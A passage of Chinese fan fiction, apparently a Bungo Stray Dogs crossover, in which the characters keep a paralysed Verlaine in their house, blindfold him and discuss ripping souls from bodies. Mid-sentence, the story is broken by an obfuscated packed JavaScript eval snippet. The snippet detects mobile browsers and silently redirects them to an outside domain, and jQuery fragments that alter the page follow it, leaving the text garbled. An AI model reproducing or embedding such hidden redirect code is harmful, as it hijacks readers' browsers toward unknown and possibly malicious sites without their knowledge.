杂物间的门再次打开。
兰波和中原中也带着还是只有眼睛能动的魏尔伦出来，两个人的神情都颇为放松，像是卸下了什么重担。
与他们相对的，是连表情都做不出来的魏尔伦，现在眼神有些……看不出来究竟是什么想法。
至少芥川龙之介是看不出来。
太宰治看了眼魏尔伦，便挪开目光，随手指了个位置，“就把他放在这里吧。”
兰波便将魏尔伦放到太宰治指定的位置。
那是个……虽然看起来很普通，不过按照现在其他人坐的位置看来，就是不移动也可以综观全局的地方。
老实说，太宰治就是兰波最不想打交道的那种人。
……太宰治和葵最相似的地方，便是两个人都完全让人不想成为他们的对立面。
不过兰波这么想着，魏尔伦现在的视线却没放在明显禁锢着他的葵、或是指挥着其他人的太宰治身上，而是放在大叔那里。
大叔表情扭曲的把脸转开，不想让魏尔伦一直盯着自己看。
兰波看了他一眼，又看看很可怜的大叔，没忍住轻轻笑了一下，还不小心笑出声来了。
大叔立刻感觉到魏尔伦的视线变得特别尖锐，像针一样朝他刺过来。
大叔：……
大叔无辜的举起手，对魏尔伦说，“我先澄清，我和兰波什么都没有，真的。”
兰波笑意加深，也点点头道，“嗯，是真的。我和季四郎先生只是朋友、同伴的关系，没有在这之上更深的关系了。”
太宰治满脸纯洁无辜的发问，“什么是在这之上更深的关系？”
兰波默默看了他一眼，“就是更深的关系。”
太宰治还是可可爱爱的问，“什么呀、是什么呀？”
中原中也沉默几秒，还是帮兰波转移了一下话题，“那什么，要不要先自我介绍一下？”
太宰治笑眯眯的接话，“不用啊，让他听我们聊天，慢慢知道我们的名字就行了嘛。兰波之前也没有得到我们的自我介绍，不用对魏尔伦这么好。”
中原中也、中原中也实在办法反驳。
银默默举起手，忍了又忍，还是没忍住道，“不过有魏尔伦在，其实不太能放松聊天。他的视线好明显。”
葵想了想道，“要让他看不到？”
兰波差点被葵特别果断的态度呛到，轻咳一声，停顿片刻，“如果要让他看不见，用布蒙住就好了。”
他也觉得魏尔伦现在变成这样是咎由自取，若是他能静下来听他们说话、好好谈谈，就不用被剥夺全身的知觉放在这里了。
但兰波亲自体验过被葵剥夺身体机能的感觉，知道那真的很不舒服，完全不想再体验一遍，所以还是帮魏尔伦说了点话。
只是想遮住视线，用布蒙起来就足够了。
在清醒的状态下连视线都被剥夺，感觉一定不怎么好。
然而太宰治没有立刻肯定的回答，而是瞥了眼魏尔伦，“就算用布蒙着，他也会睁着眼睛用刺眼的目光看我们呢。还不如一劳永逸，直接剥夺他的视力。”
葵左看看右看看，最后看向芥川龙之介，寻求他的意见，“龙？”
芥川龙之介停顿了一下，“……可以先用布蒙着，如果视线还是很不舒服，就按太宰说的来吧。”
既然他都这么说了，那就这么做。
兰波默默把魏尔伦的眼睛蒙好，又为了以防万一他的视线太明显，蒙了几层，确保他绝对看不见。
虽然这样就没办法像兰波之前那样，透过看着大家说话来认识人，但这也是没办法的事。
……因为就连兰波都觉得魏尔伦的视线很有存在感。
即使因为刚才在杂物间中听兰波和中原中也说了话，比较没最开始那么尖锐了，但还是充满各种情绪，又都不是什么平和的情绪。
还是再过个一两天，等他心情沉淀下来了再说。
能够独自思考的时间，确实相当重要。
兰波是这样，魏尔伦也一定是这样。
葵看了看魏尔伦，忽然想到，“他要喝水吃东西吗？”
大家的动作同时停顿了一下，竟然也是第一次想到这件事。
把魏尔伦带回来放着的这段时间，他们真的都没让他喝水吃东西，也很难说魏尔伦是不是因为太饿了才情绪激动的。
“说的也是。”太宰治说，“他也要喝水吃东西的啊。”
兰波顿了顿道，“交给我来，我可以喂他。”
“当然是你来。”太宰治随口道，“我们可没那么大胆，等一下喂到一半被咬断手指怎么办？”
兰波：……
兰波默默道，“你这么一说，我忽然觉得我也可能被咬断手指啊……”
芥川龙之介非常迷惑的发出疑问，“为什么要把手指伸进他嘴里？即使真有这个必要，也可以用筷子喂他。”
他们家里有几双筷子。
虽然因为很少吃需要筷子的食物，所以基本不会用到，但还是有捡几双筷子回来。
不过是铁质的，不是木质的。
葵想像了一下，“如果用筷子，魏尔伦还咬，牙齿就会掉下来。”
太宰治噗一声笑出来，“哪有那么容易掉牙齿啊！等等、难道这是直觉？魏尔伦就是这么疯狂又愚蠢，就算知道咬到铁了，还要继续咬，直到牙齿掉了才罢休？”
大叔：……
大叔忍不住道，“葵刚才说的还挺搞笑的，怎么到了治君这里就变成精神病恐怖片了？”
除了葵和太宰治之外，大家都非常赞同的点点头。
太宰治笑眯眯的，“不是到我这里才变成精神病恐怖片，而是会做那种事的本来就怪怪的，我只是理性分析而已。”
他说着，转头看向被蒙眼放置的魏尔伦，摸摸下巴道，“话又说回来，我们把动弹不得的魏尔伦放在那里，一群人悠悠闲闲聊天……这个画面不管是谁来看都会觉得有点可怕吧。”
芥川龙之介和葵的头上同时冒出大大的问号。
银思考片刻，倒是理解了太宰治的意思。
中原中也也能理解，默默看向那个现在确实完全动弹不得的魏尔伦。
魏尔伦被大叔在工厂里隔绝灵魂后，就一直是无法动弹的状态，虽然后来葵有帮忙解开了部分限制，但还是依然无法动弹。
老实说，看起来真的挺可怜的。
银也再次看看魏尔伦，思维倒是往外发散了一下，“所以、大叔也能看见灵魂了吗？”
大叔迅速摇摇头，“不能。只是因为魏尔伦的灵魂就是异能力，我才能看见。”
虽然可以用葵的灵力，但有些东西他还是看不见、也没办法完全变得和葵一样，比如依旧看不见人类的灵魂，也还是不能像葵一样看灵体看得相当清楚。
兰波现在已经对他们讨论的事情完全习惯了，不过听着听着，还是下意识转头看了眼魏尔伦。
魏尔伦无法做出任何反应，可是兰波也能想像他会对孩子们、大叔讨论的内容多么惊讶。
因为他也曾经相当、相当惊讶过。
现在魏尔伦肯定听得头晕脑胀的，因为资讯量太大而反应不太过来，甚至不知道自己是不是听错了、或是这些孩子只是在虚张声势而已。
但事实并非如此，绝对不是听错了，也不是孩子们在虚张声势。
只要明白了自己现在的情况、再多听一会儿孩子们的对话，就能知道自己现在究竟处在什么样的情况和环境里。
或许正因如此，即便大家都对视线极为敏感，也没有再感受到来自魏尔伦的目光。
这里的人……作为前谍报人员的兰波就不用说了，长期生活在人工岛的芥川龙之介、银、中原中也当然也都对视线很敏感，危机意识相当强。
太宰治和大叔虽然长期生活相对安稳，但又不算是在普通的环境里成长，也对人的想法、各种视线的含义非常敏锐。
最后的葵也是一样，他虽然对朝他投来的各种不好的视线已经习惯到甚至没有什么感觉了，但还是很容易就能察觉“视线”。
因为会有灵看他。
只要有任何存在注视着他，即使是在遥远的距离，他多多少少都能察觉到，只是有没有打算理会而已。
顺带一提。
如果是灵体的话，即便没有注视他，只是在他周边出现，他其实也都知道。
这件事大叔最深有体会。
总而言之，魏尔伦现在……绝对是闭着眼睛的状态。
如果有谁在注视，即使蒙着一层布，在这里的人也一定能察觉。
兰波静静看了看魏尔伦。
太宰治也笑了一下，“识时务者为俊杰，看来魏尔伦也没我想像中那么愚蠢嘛。”
这该说是激将法还是什么吗……
反正芥川龙之介是搞不太懂太宰治的想法，就沉默的听他说，抓着葵的手无意识把玩。
绝对不是在炫耀或是宣示主权之类的，真的只是无意识的抓着葵的手捏捏而已。
大家也都很习惯了他们细微的互动，连看都没有看过去，继续随意的说话。
“实验室那里……”兰波突然想到，“之后就让我和保尔处理吧。”
大叔默默举起手，很有些摩拳擦掌的，“我也可以一起处理。我现在已经会把人的灵魂拽出来了！”
前面那句话还可以说语气挺成熟稳重可信任的，但后面那句话就完全像是拿到新玩具的小孩一样，掩不住兴奋。
太宰治很嫌弃的说，“季叔好幼稚！”
中原中也默默道，“不是，在幼稚之前，把灵魂拽出来是什么操作……？大叔不是看不见灵魂吗？”
大叔笑眯眯的，“看不见，不过能碰到。自从碰过了魏尔伦的灵魂就有经验了呢，现在完全可以把人的灵魂唰一下拉出来！”
芥川龙之介沉默了一下，“把灵魂从身体拉出来，身体就会……真的像死了一样？”
大叔思考几秒，“大概就是那样？我也不是很确定会有什么效果。”
大家同时看向葵。
葵想了想，“不是像死掉一样，是会直接死掉。”
芥川龙之介微微皱起眉，“就像是灵魂出窍？”
葵知道他在担心自己，摇摇头道，“不太一样。我是一点点灵魂出去，大叔是要全部弄出去。”
当然即便只有一点点灵魂出窍，也是只有葵可以，其他人不行。
仿佛、不，一定不只是仿佛，葵的身体想必在不知不觉间被他自己庞大的灵力改变了，变得和一般人完全不一样，可以承受的那一侧的事物也比一般人还要多。
银很好奇的问，“灵魂还能再放回去吗？放回去，人就会死而复生？”
葵点点头又摇摇头，“如果在身体还没完全死掉的时候可以，身体死掉就不行了。”
之前他也说过，可以把人的灵魂弄出来一下再塞回去，那样被灵魂被抓出来的人就会全身上下都不舒服。
如果用更简单一点的话说，就是把人弄死几秒钟再弄活。
只弄出部分灵魂还可能只是身体不舒服，把整个灵魂都弄出来，就会留下一定程度的后遗症。
太宰治若有所思的，“传说中的濒死体验，就是灵魂出窍的感觉？可恶，我之前入水怎么没有感受到！”
葵很诚实的说，“因为灵魂被我压回去了。”
太宰治：……
太宰治痛苦的说，“那还真是谢谢了啊！”
葵摇摇头，“不客气。”
中原中也实在没忍住笑出来。
不只是他而已，兰波、大叔、银，甚至芥川龙之介都忍不住笑。
葵满头雾水的不知道他们在笑什么。
芥川龙之介揉了揉葵的头，也有些好奇的问，“被拽出身体的灵魂会有自我意识？”
葵没有立刻回答，而是先看看小白，确认小白的答案和他想的一样，才接着说，“身体还没完全死掉的时候会有一点，但是身体死掉了，就会变成新死的灵，意识会消失不见。”
至于之后会不会没有一下就被通道灵带走、会不会变成拥有自我意识的灵体，全部都要看他们自己的造化了。
不过如果是大叔刻意弄出来的灵魂，当然第一件事就是把那些灵魂禁锢起来，之后直接送去给通道灵当零食
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15976065|168103||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，不会给那些灵魂有任何产生自我意识的机会。
不管怎么说，把灵魂直接弄出来……真的很犯规。
太宰治想着，直接看向小白，“如果是那种死法，验尸情况会是什么？”
葵看了看小白，片刻才转达道，“小白说，没有外伤的原因都有可能，是随机的。”
兰波停顿半秒，便微微瞪大眼睛、倒抽一口气，几乎喃喃着道，“……真的假的。这也太犯规了吧？”
太宰治接着吐槽，“感觉都已经是另一种体系了，是会在我们这个世界出现的东西吗？！”
“本来就是另一种体系。”大叔说，“我们平时也可能会接触到灵体、妖怪什么的东西，但如果不是葵，也不会像现在这样接触这么深吧。当然，我也不会变得有这么多能力。”
如果他没有遇到葵，现在也很可能已经自己无聊的去找通道灵投胎了。
兰波微微点头，“确实如此。即便是我、甚至是保尔，都很少接触到灵能力者。”
不只是灵能力者而已，就连那一侧的事情都很少接触到。
就像大叔说的，虽然偶尔会碰到需要灵能力者出马的事情，但次数很少，也都不是相当重大的危机。
当时那些来帮忙处理事情的灵能力者在灵能力的世界真的都已经很厉害了，可是现在回想起来，好像也就那样。
有葵在这里做对比，兰波都快不知道所谓普通的灵媒究竟是什么样的了。
兰波有点麻木的想着，默默转向魏尔伦，还是好心的和他说，“季四郎先生不是人类。”
刚才还完全感受不到魏尔伦的视线，但就在兰波说完这句话后，大家都感受到了魏尔伦扫射过来的目光。
他因为眼睛蒙着布，不确定大叔现在坐在哪里，却又因为兰波的那句话而心神动荡，几乎是下意识睁开眼睛四处环顾、下意识的想去看见大叔。
“季四郎先生实际上已经死去了，是货真价实的幽灵。我们只是因为葵的关系，才能在这栋屋子里看见他。”兰波笑了一下，“很不可思议对吧？世界上还有这种存在。”
魏尔伦的视线再次消失。
他没有办法做表情，眼睛也被蒙上，所以没有人能看出他现在在想什么、又是什么样的心情。
这对他而言，或许也是一件好事。
但太宰治就是不喜欢让人太好过，笑眯眯的对葵说，“把魏尔伦的面部肌肉功能恢复，我要知道他在想什么。”
大叔默默道，“太宰现在看起来超像残忍绑架犯的。”
太宰治理直气壮的说，“我就是绑架犯呀，你们也是，大家都是。”
被他视线锁定的其他人都没有办法反驳。
葵看了看旁边的小白，“唔、小白说，我们是正当防卫，所以没关系。”
太宰治耸耸肩，“原来小白是这么狡猾的狗。”
小白也没否认这句话，只是尾巴在葵腿上甩甩，像是觉得太宰治在称赞它一样。
葵随手摸摸小白，又道，“恢复了，魏尔伦可以做表情了。”
虽然葵已经把魏尔伦的面部肌肉功能恢复了，不过魏尔伦还是维持着面无表情的样子，似乎是在无声的说，他绝对不会让面前这群人知道他在想什么。
太宰治闲闲的撑着脸，对魏尔伦道，“如果不让我知道你在想什么，我就不知道什么时候该让你恢复语言功能呢。我可不想听那些无意义的反驳言语，我只想听想开了、想通了的话语。”
至于要怎么判断魏尔伦已经不会再说反驳的言论，当然就要透过他对大家对话的态度来确认，也就是脸上的表情。
大家都没有说话。
魏尔伦当然也没办法说话。
沉默持续片刻。
中原中也还是没忍住吐槽，“刚才那是在威胁吧？如果魏尔伦没有想开、想通，就会让他永远是这个样子？”
大叔也没忍住吐槽，“中也说的也太可怕了，永远？！兰波要永远这么照顾一个动不了的人？到底是在惩罚谁啊！”
兰波：……？
兰波在大叔这么说之后才发现确实如此，沉默了一下，默默开口，“好像变成在惩罚我了？”
太宰治还是悠悠闲闲的说，“可以把人丢着不管嘛，丢着就不是在惩罚兰波了。如果一直想不通，不如让他饿死算了。”
光是听他这么说，感觉真的仿佛他们才是坏人。
空气又微妙的沉默了一下。
不过他们也确实不是坏人，只是正当防卫的把想要他们性命的人带回来、正当防卫的想要知道魏尔伦在想什么而已。
至于被剥夺身体知觉的人会有什么感觉和想法，就是他自己的事了。
芥川龙之介等人完全没打算把话题和注意力都围绕在魏尔伦身上，连自我介绍都没有做，就更不可能一直在意着魏尔伦的存在。
幸好现在在场的人，包含银在内都基本不会被魏尔伦的存在影响，因此就这么自然而然的……很快习惯了魏尔伦在这里、也无视了魏尔伦在这里，很快恢复了平时的模样。
也就是在公共空间里自己做自己的事。
看看书、偶尔看见什么有趣的就一起分享，偶尔说说话，有时候也会在书中遇见不懂的地方，询问大叔或兰波。
气氛相当平和。
除了兰波和中原中也偶尔会望着那边的魏尔伦发会儿呆之外，其他的人就和平时一模一样。
就连晚上例行的学习时间也一模一样。
魏尔伦还是静静待在那里——即使他不想静静待着也没办法，因为动不了。
就这么直到学习时间也结束，大家准备回房间睡觉。
太宰治又看了看魏尔伦，很随意的问道，“兰波要把他带回房间放着吗？”
虽然看似是随口一问，但感觉就不是随便问的。
毕竟兰波才刚拒绝和魏尔伦在他的房间里谈话，还要特地去到杂物间里而已。
不过兰波其实也想过这件事，闻言没有犹豫的很快回答，“不，就让他在这里待着吧。让他独处一会儿也好。”
太宰治观察着魏尔伦的表情，好像觉得很有趣的点头，“说的也是。”